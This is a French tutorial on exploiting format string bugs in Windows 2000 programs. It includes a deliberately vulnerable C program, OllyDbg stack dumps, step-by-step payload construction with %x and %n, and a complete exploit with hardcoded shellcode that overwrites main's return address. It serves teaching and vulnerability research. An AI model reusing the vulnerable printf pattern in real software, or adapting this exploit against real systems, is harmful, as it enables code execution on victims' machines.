| ,--., x . __^__ -=*=- ,' NG \ --- "`-. | . ; | MOON T| + - -- | }` ` | /X@ BG| x -- / /--. \ H/ - ===/ \===E w {\_/} w `'--'` , . --- / / * /`-_.-{"}-._-'\ `---` / , '?' , \ , _.-.,, , x / / \./;"-";\./ \ \ -+- -` .|.,,`'-.,,_ , '`_-` `',`' ` ,-` ,-` |\ ``'-.,,_''--, / \ ,' -` \\\\\., `''-/,', ,,,,,,,,,,,,,, | BY | _ __ /- -' \\` X ` /`-- `','., ',,,| |, _ `` '| `. ', \| X v` | // ^--``\_, `','., | | ` | `. `.`. -` `\// /` ``\ ;- `',`-, |-=[ Ivanlef0u ]=-| | `. `.='-'` \ `-/ / .`;\| `'.`', | | | '/..````/.\, ```\/` . `'.`'., | | |-=[1O]=-| ``'-,, `''.,,``-/` _/`\ `'.,'., | | \_ | ``'.,, `'-.,/ . `\_ '.,`-, | ``. | ``'.,, `'-,, ``---. '.,`', | `, | -=[ `''.,, ``'.,,-/``--., `.,`'., | ', | Format `'-.,_ `''.,. `| `-, '.------- '\,_ `'-.,_ `'-.`_ `_.-`-. |\-.,, ``-.,_ String `'-., `'+-'`.-`` | '` ', ,|\., ``-.,_ Win ]=- ``'-|'` | V V ,' `\ `'-.,_ | | L _|\-.,7 7 | `'-., |\-/| /;| | `--,' `../ | ``'-. |o o|_ --. ,-`/ | | . | G G | / `-=+=- ` ` /` | ,-/ `'| ., ` ,. |``````''-., `\, .--_ | | ,-'` ', \`=`/ ,` `',, |/ ; / ``'--'` _,,.---- `''--'` `-,, || || ,.-` ```''-------___"____"______,--''` -=[Aka : AAAAAAAAAAAAAAAAAAAAAAAAA Again! ]=- Exploitation des bugs de format under windows --------------------------------------------- 1:Intro ------- Qu'est-ce qu'un bug de format? Un bug de format survient lorsque l'on essai d'afficher une valeur sans en preciser le type. Le plus frequemment cela intervient avec la fonction printf. Il faut savoir qu'il y a plusieurs facon d'afficher un texte avec la fonction printf, soit l'on precise le type et la tout ce passe bien, par ex: int moi=4; printf("%d\n",moi); Cela nous affichera bien le chiffe 4. Mais on peut aussi etre plus fenéant et laisser la fonction ce debrouiller elle meme comme la: char moi[]="moi"; printf(moi); On aura donc en sortie "moi", en fait si l'on ne précise pas le type printf considère que c'est une string que l'on veut afficher. Il existe differents type de ce que l'on peut afficher: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_printf_type_field_characters.asp Character Type Output format c int or wint_t When used with printf functions, specifies a single-byte character; when used with wprintf functions, specifies a wide character. C int or wint_t When used with printf functions, specifies a wide character; when used with wprintf functions, specifies a single-byte character. d int Signed decimal integer. i int Signed decimal integer. o int Unsigned octal integer. u int Unsigned decimal integer. x int Unsigned hexadecimal integer, using "abcdef." X int Unsigned hexadecimal integer, using "ABCDEF." e double Signed value having the form [ – ]d.dddd e [sign]ddd where d is a single decimal digit, dddd is one or more decimal digits, ddd is exactly three decimal digits, and sign is + or –. E double Identical to the e format except that E rather than e introduces the exponent. f double Signed value having the form [ – ]dddd.dddd, where dddd is one or more decimal digits. The number of digits before the decimal point depends on the magnitude of the number, and the number of digits after the decimal point depends on the requested precision. g double Signed value printed in f or e format, whichever is more compact for the given value and precision. The e format is used only when the exponent of the value is less than –4 or greater than or equal to the precision argument. Trailing zeros are truncated, and the decimal point appears only if one or more digits follow it. G double Identical to the g format, except that E, rather than e, introduces the exponent (where appropriate). n Pointer to integer Number of characters successfully written so far to the stream or buffer; this value is stored in the integer whose address is given as the argument. p Pointer to void Prints the address of the argument in hexadecimal digits. s String When used with printf functions, specifies a single-byte–character string; when used with wprintf functions, specifies a wide-character string. Characters are printed up to the first null character or until the precision value is reached. S String When used with printf functions, specifies a wide-character string; when used with wprintf functions, specifies a single-byte–character string. Characters are printed up to the first null character or until the precision value is reached. Note If the argument corresponding to %s or %S is a null pointer, "(null)" will be printed. En fait nous allons voir que si le programmeur ne controle pas ce que affiche printf il y moyen d'exploiter cela. Sous linux cette technique etant connu depuis longtemps mais sous win je n'ai trouvé que tres peu de choses y faisait allusion c'est pourquoi j'ai pensé qu'il était interessant d'en parler. 2: Format bugs ,where are you ?? -------------------------------- Je previens dès le depart que les valeurs que je trouve ne serons pas forcément les memes que vous. J'utilise Borland C++ 5.5 pour compiler mes progs et je suis sous Microsoft Windows 2000 [Version 5.00.2195] avec les dernières mises a jours (celles de 10/2005). Voici un code vulnerable: ------------Cut Here----------------- #include #include int main(int argc, char *argv[]) { char buffer[512]=""; if (argc != 2) return -1; strncpy(buffer,argv[1],500);//le bof est impossible a cause du strncpy printf(buffer); //la vuln se situe ici return 0; } ------------Cut Here----------------- Alors si on essaye de mettre en argv: %x que se passe t'il ? voici ce qui ressort: 0 wtf ?? d'ou qu'il sort lui. Explications lorsque l'on donne %x en argument a printf , celle ci va afficher ce qui se trouve sur le haut de la stack voici l'état de la stack lors de l'appel a printf (break sur le printf avec ollydbg): esp=0012FD80 0012FD80 0012FD8C \Arg1 = 0012FD8C ASCII "%x" 0012FD84 00000000 0012FD88 0040A0B8 vuln.0040A0B8 0012FD8C 00007825 :correspont a %x 0012FD90 00000000 Notre texte en copié dans la stack a partir de l'adresse 0012FD8C. vuln est le nom de mon .exe vulnerable. On peut voir l'argument a l'adresse 12FD80 et juste en dessous le fameux 0 voila d'ou il vient.si l'on met %x%x en argv l'on a en sortie: 040a0b8 ce qui correspond bien a la stack. De plus si l'on met en argv: aaaa%x%x%x l'on a: aaaa040a0b861616161 les 4 'a' sont affichés suivis des valeurs "pointés" par les 3 %x que l'on a entré et des 61616161 qui sont nos 'a' mit dans le buffer la stack. J'utiliserais le mot "pointé" car il ne s'agit pas reellement d'un pointeur mais c'est le terme le plus approprier que j'ai trouvé Il s'agit plutot des arguments que l'on devrait donner aux differents %x. a ce moment la stack est comme ceci: 0012FD80 0012FD8C \Arg1 = 0012FD8C ASCII "aaaa%x%x%x" 0012FD84 00000000 0012FD88 0040A0B8 vuln.0040A0B8 0012FD8C 61616161 0012FD90 78257825 0012FD94 00007825 0012FD98 00000000 c'est en 12FD8C qu'est situé le buffer. (je répète pour ceux qui s'endorment) 3 How to exploit this ? ---------------------- L'opérateur le plus intéressant (pour nous :)) est certainement %n, celui ci ecrit a l'empacement memoire "pointer par le printf" le nombre d'elements affichés avec lui :p par l'exemple c'est plus simple. Si l'on entre: aaaa%x%x%n les 2 %x font que le %n va tenter d'ecrire a l'adresse 61616161 la valeur: 4+7=11 le 4 c'est les 4 'a' que l'on a entré et le 7 c'est la stack 0012FD84 00000000 //1 caratere ici 0 0012FD88 0040A0B8 //6 carateres 0012FD8C 61616161 //l'addr de notre %n Alors si on cogite bien fort. Imaginons que nous tendions d'incrire a l'adresse de retour de notre fonction main l'adresse de notre buffer contenant un shellcode, on aura réussi a detourner notre prog. 0012FF90 00407D1A RETURN to vuln.00407D1A //c'est ici que se situe le RET //du main Il faut donc qu'on écrive a l'adresse 0012FF90 la valeur 0012FD8C Le plus chaud c'est de calculer parfaitement parce que il faut foutre un shellcode de n octets que le printf "pointe" sur l'adrr a laquelle on veut ecrire et que la nbr de caractères soit egal a l'adresse de notre buffer ......(mal a la tete la ?? prenez une aspirine ..!) Pour simplifier vla l'erreur qu'on retrouve avec ollydbg: 004043BD |. 890A |MOV DWORD PTR DS:[EDX],ECX EDX=61616161 ECX=0000000B //11 le nbr de caract affiches Alors voila a quoi doit ressembler notre truc: [shellcode][%x..%x][%nx][%n][addr du ret ds la stack] pour respecter le nbr de carratères affiches on va utiliser une technique de chinois c'est a dire que l'on va faire %nx ou le n correspond a la precision de l'affichage, c'est comme si on simulait des lettres quoi. Si on fait %20x on va avoir dans notre ECX la valeur 0x14. Mon shellcode fait 54 octets (hardcode) il faut donc combler avec 2 'A' pour obtenir un multiple de 4 apres faut bien calculer. alors l'on a 56/4=14 %x a foutre pour depasser le shellcode plus les 2 qui sont avant le buffer sa fait 16 AAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n les 'a' représentent le shellcode et les 'A' sont du padding. 0012FD80 0012FD8C Œý. \Arg1 = 0012FD8C ASCII "AAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n" 0012FD84 00000000 .... 0012FD88 0040A0B8 ¸ @. vuln.0040A0B8 0012FD8C 61614141 AAaa 0012FD90 61616161 aaaa 0012FD94 61616161 aaaa 0012FD98 61616161 aaaa 0012FD9C 61616161 aaaa 0012FDA0 61616161 aaaa 0012FDA4 61616161 aaaa 0012FDA8 61616161 aaaa 0012FDAC 61616161 aaaa 0012FDB0 61616161 aaaa 0012FDB4 61616161 aaaa 0012FDB8 61616161 aaaa 0012FDBC 61616161 aaaa 0012FDC0 61616161 aaaa 0012FDC4 78257825 %x%x * 0012FDC8 78257825 %x%x 0012FDCC 78257825 %x%x 0012FDD0 78257825 %x%x 0012FDD4 78257825 %x%x 0012FDD8 78257825 %x%x 0012FDDC 78257825 %x%x 0012FDE0 78257825 %x%x 0012FDE4 00006E25 %n.. 0012FDE8 00000000 .... ** Le gros probleme c'est que il faut trouvé la juste mesure entre le nbr de '%x' et l'adresse qu'il font "pointer" a printf je m'explique ici avec nos 16 '%x' ,EDX vaut 78257825 (voir *) alors que nous ce que l'on veut c'est tomber au ** pour mettre notre adr du ret .... Vi je sais c'est prise de tete mais j'essaye d'expliquer du mieux que je peut. Alors en procedant par tatonnement (ya pas de honte nan mais!) on arrive a: BBAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%nbbb J'ai rajouté 2 'B' avec de faire du padding afin de parfaitement aligner les bytes dans la stack. 0012FD80 0012FD8C \Arg1 = 0012FD8C ASCII "BBAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%nbbb" 0012FD84 00000000 0012FD88 0040A0B8 vuln.0040A0B8 0012FD8C 41414242 0012FD90 61616161 0012FD94 61616161 0012FD98 61616161 0012FD9C 61616161 0012FDA0 61616161 0012FDA4 61616161 0012FDA8 61616161 0012FDAC 61616161 0012FDB0 61616161 0012FDB4 61616161 0012FDB8 61616161 0012FDBC 61616161 0012FDC0 61616161 0012FDC4 78256161 0012FDC8 78257825 0012FDCC 78257825 0012FDD0 78257825 0012FDD4 78257825 0012FDD8 78257825 0012FDDC 78257825 0012FDE0 78257825 0012FDE4 78257825 0012FDE8 78257825 0012FDEC 78257825 0012FDF0 78257825 0012FDF4 78257825 0012FDF8 78257825 0012FDFC 78257825 0012FE00 78257825 0012FE04 78257825 0012FE08 6E257825 0012FE0C 00626262 voila avec ca notre EDX vaudra 62626262, donc on peut dire a quelle adrresse doit ecrire le prog. Ban c'est pas fini il faut maintenant que le ecx vale l'adresse de notre buffer qui est 0012FF90 alors pour ca on va devoir encore modifier tout le truc. On va utilisé ce que j'ai dit plus haut, c'est a dire qu'avec un %n on va faire augmenté la valeur de ECX jusqu'a quelle vale l'addr de notre buffer (ici 12FD8C). Alors en bidouillant encore et toujours...on obtient: BAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%1244220x%nbbb on a 37 %x 0x0012FD8C=1244556 on entre 56 carratères. il ya 37 %x dont 2 servent pour les 7 premiers carratères et les autres affichent 8 carratères sauf le dernier qui en affiche n (le nbre que l'on veut déterminer). ce qui fait 8*34+7 caracteres affichés par les %x. n=124556-57-7-8*34=1244220. 0012FD80 0012FD8C Œý. \Arg1 = 0012FD8C ASCII "BAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%1244220x%nbbb" 0012FD84 00000000 .... ---- 0012FD88 0040A0B8 ¸ @. vuln.0040A0B8 0012FD8C 61414142 BAAa 0012FD90 61616161 aaaa 0012FD94 61616161 aaaa 0012FD98 61616161 aaaa 0012FD9C 61616161 aaaa 0012FDA0 61616161 aaaa 0012FDA4 61616161 aaaa 0012FDA8 61616161 aaaa 0012FDAC 61616161 aaaa 0012FDB0 61616161 aaaa 0012FDB4 61616161 aaaa 0012FDB8 61616161 aaaa 0012FDBC 61616161 aaaa 0012FDC0 61616161 aaaa 0012FDC4 25782561 a%x% 0012FDC8 25782578 x%x% 0012FDCC 25782578 x%x% 0012FDD0 25782578 x%x% 0012FDD4 25782578 x%x% 0012FDD8 25782578 x%x% 0012FDDC 25782578 x%x% 0012FDE0 25782578 x%x% 0012FDE4 25782578 x%x% 0012FDE8 25782578 x%x% 0012FDEC 25782578 x%x% 0012FDF0 25782578 x%x% 0012FDF4 25782578 x%x% 0012FDF8 25782578 x%x% 0012FDFC 25782578 x%x% 0012FE00 25782578 x%x% 0012FE04 25782578 x%x% 0012FE08 25782578 x%x% 0012FE0C 32312578 x%12 0012FE10 32323434 4422 0012FE14 6E257830 0x%n --- 0012FE18 00626262 bbb. Voila le sploit qui réalise tout ca: ------------Cut Here----------------- #include #include #include int main() { char shellcode[]="\x8B\xEC\x53\x57\x8B\xEC\x83\xEC\x0C\xC7\x45\xF4" "\x4d\x69\x6E\x64" //Mind "\xC7\x45\xF8" "\x6B\x69\x6E\x64" //kind "\xC7\x45\xFC" "\x21\x72\x6F\x78" //!rox "\x33\xDB" "\x8D\x45\xF4\x53\x50\x50\x53\xBB" "\x81\x3D\xE0\x77" //Addr de MessageBox dans USER32.dll "\xFF\xD3\x57\xBB\xBE\x69" "\xE9\x77\xFF\xD3"; //Addr de ExitProcess ds KERNEL32.dll char buffer[500]="vuln "; char buff1[]="AAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"; strcat(buffer,shellcode); strcat(buffer,buff1); strcat(buffer,"%1244220x%n\x90\xFF\x12"); system(buffer); return 0; } ------------Cut Here----------------- Voici l'état de la stack avec le sploit: 0012FD80 0012FD8C \Arg1 = 0012FD8C 0012FD84 00000000 0012FD88 0040A0B8 vuln.0040A0B8 0012FD8C 5753EC8B 0012FD90 EC83EC8B 0012FD94 F445C70C 0012FD98 646E694D 0012FD9C 6BF845C7 0012FDA0 C7646E69 0012FDA4 7221FC45 0012FDA8 DB33786F 0012FDAC 53F4458D 0012FDB0 BB535050 0012FDB4 77E03D81 USER32.MessageBoxA 0012FDB8 BB57D3FF 0012FDBC 77E969BE KERNEL32.ExitProcess 0012FDC0 4141D3FF 0012FDC4 25782541 0012FDC8 25782578 0012FDCC 25782578 0012FDD0 25782578 0012FDD4 25782578 0012FDD8 25782578 0012FDDC 25782578 0012FDE0 25782578 0012FDE4 25782578 0012FDE8 25782578 0012FDEC 25782578 0012FDF0 25782578 0012FDF4 25782578 0012FDF8 25782578 0012FDFC 25782578 0012FE00 25782578 0012FE04 25782578 0012FE08 25782578 0012FE0C 32312578 0012FE10 32323434 0012FE14 6E257830 0012FE18 0012FF90 Le shellcode correspont a: 0012FD8C 8BEC MOV EBP,ESP 0012FD8E 53 PUSH EBX 0012FD8F 57 PUSH EDI 0012FD90 8BEC MOV EBP,ESP 0012FD92 83EC 0C SUB ESP,0C 0012FD95 C745 F4 4D696E64 MOV DWORD PTR SS:[EBP-C],646E694D 0012FD9C C745 F8 6B696E64 MOV DWORD PTR SS:[EBP-8],646E696B 0012FDA3 C745 FC 21726F78 MOV DWORD PTR SS:[EBP-4],786F7221 0012FDAA 33DB XOR EBX,EBX 0012FDAC 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 0012FDAF 53 PUSH EBX 0012FDB0 50 PUSH EAX 0012FDB1 50 PUSH EAX 0012FDB2 53 PUSH EBX 0012FDB3 BB 813DE077 MOV EBX,USER32.MessageBoxA 0012FDB8 FFD3 CALL EBX 0012FDBA 57 PUSH EDI 0012FDBB BB BE69E977 MOV EBX,KERNEL32.ExitProcess 0012FDC0 FFD3 CALL EBX Voila voila alors oui je sais exploiter un format string sous windows c'est pas simple mais on peut voir que rien n'est inexploitable ;). Pour éviter ce genre de bug le plus est de tjrs controlé ce qui est affiché par printf() et d'autre fonction du meme genre evidemment :) J'espère que cet article vous a plu, meme si parfois je me perd dans mes explications je pense que vous avez compris une bonne partie Reference --------- Windows 2000 Format String Vulnerabilities http://www.nextgenss.com/papers/win32format.doc Contact ------- mail: ivanlef0u119@yahoo.fr website: http://membres.lycos.fr/moi118118/